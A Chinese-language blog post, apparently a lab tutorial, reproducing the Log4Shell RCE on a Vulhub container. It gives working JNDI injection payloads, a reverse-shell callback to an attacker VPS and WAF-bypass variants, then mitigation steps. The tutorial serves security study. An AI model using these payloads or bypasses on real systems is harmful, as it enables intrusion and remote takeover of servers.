漏洞复现 - Apache Log4j2 RCE (CVE-2021-44228)

本文最后更新于 2025年7月14日 下午

📌 简介

Log4j2 是 Java 生态中使用最广泛的日志框架之一。
CVE-2021-44228(俗称 Log4Shell)允许远程攻击者通过 JNDI 注入执行任意代码。

  • 影响版本: 2.0-beta9 ~ 2.14.1
  • 修复版本: >= 2.15.0
  • 危害: RCE,完全控制目标服务器

🐳 靶场环境 - Vulhub

Vulhub 是一个基于 Docker 的漏洞测试平台。

快速启动:

1
2
3
4
5
6
7
8
# 克隆 Vulhub
git clone https://github.com/vulhub/vulhub.git

# 进入对应环境
cd vulhub/log4j/CVE-2021-44228/

# 启动漏洞环境
docker-compose up -d

访问:

1
http://192.168.199.132:8983/

示例页面:
Log4j Vulhub 环境


⚙️ 漏洞复现

Step 1️⃣ - 启动 JNDIExploit 服务器

在公网(或内网互通)机器上,开启 JNDIExploit 工具:

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <VPS_IP> -l 11389 -p 18080
  • -i:监听 IP
  • -l:LDAP 服务端口(默认 1389,这里示例改为 11389)
  • -p:HTTP Payload 服务端口

Step 2️⃣ - 发送恶意 Payload

向目标服务发送含有 ${jndi:ldap://...} 的恶意数据。

示例:在 Header 里执行命令:

1
2
3
4
GET / HTTP/1.1
Host: 192.168.199.132:8983
User-Agent: ${jndi:ldap://<VPS_IP>:11389/Basic/TomcatEcho}
cmd: whoami
  • TomcatEcho 是 JNDIExploit 内置的命令执行 gadget。
  • 通过 cmd 参数,写要执行的系统命令。

Step 3️⃣ - 查看命令回显

在浏览器或 curl 中访问后,如果目标可用,将执行命令并回显在响应中。

示例:

1
curl -H "cmd: whoami" -H "User-Agent: ${jndi:ldap://<VPS_IP>:11389/Basic/TomcatEcho}" http://192.168.199.132:8983/

命令执行效果:
RCE效果


Step 4️⃣ - 反弹 shell

开启本地监听:

1
nc -lvp 8888

发送反弹 shell Payload:

1
User-Agent: ${jndi:ldap://<VPS_IP>:11389/Basic/ReverseShell/<VPS_IP>/8888}

目标触发后,会连回你的监听端口,获取 shell。


⚠️ 常见绕过点

  • 一些目标可能做了 WAF,拦截 ${jndi:ldap://,可尝试变体:

    1
    ${${::-j}${::-n}${::-d}${::-i}:ldap://...}
  • 一些环境使用 rmi:// 代替 ldap:// 也可尝试:

    1
    ${jndi:rmi://<VPS_IP>:1099/Exploit}

🛡️ 修复建议

官方修复方式:

  1. 升级 Log4j2 至 2.17.0 或以上。

  2. 若暂时无法升级:

    • 设置 log4j2.formatMsgNoLookups=true
    • 移除 JndiLookup
    1
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

📌 参考链接


✅ 总结

Log4Shell 是影响范围极大的 RCE 漏洞,通过 JNDI 注入可实现远程命令执行甚至反弹 shell,
安全研究者可利用 Vulhub 快速搭建环境复现与分析。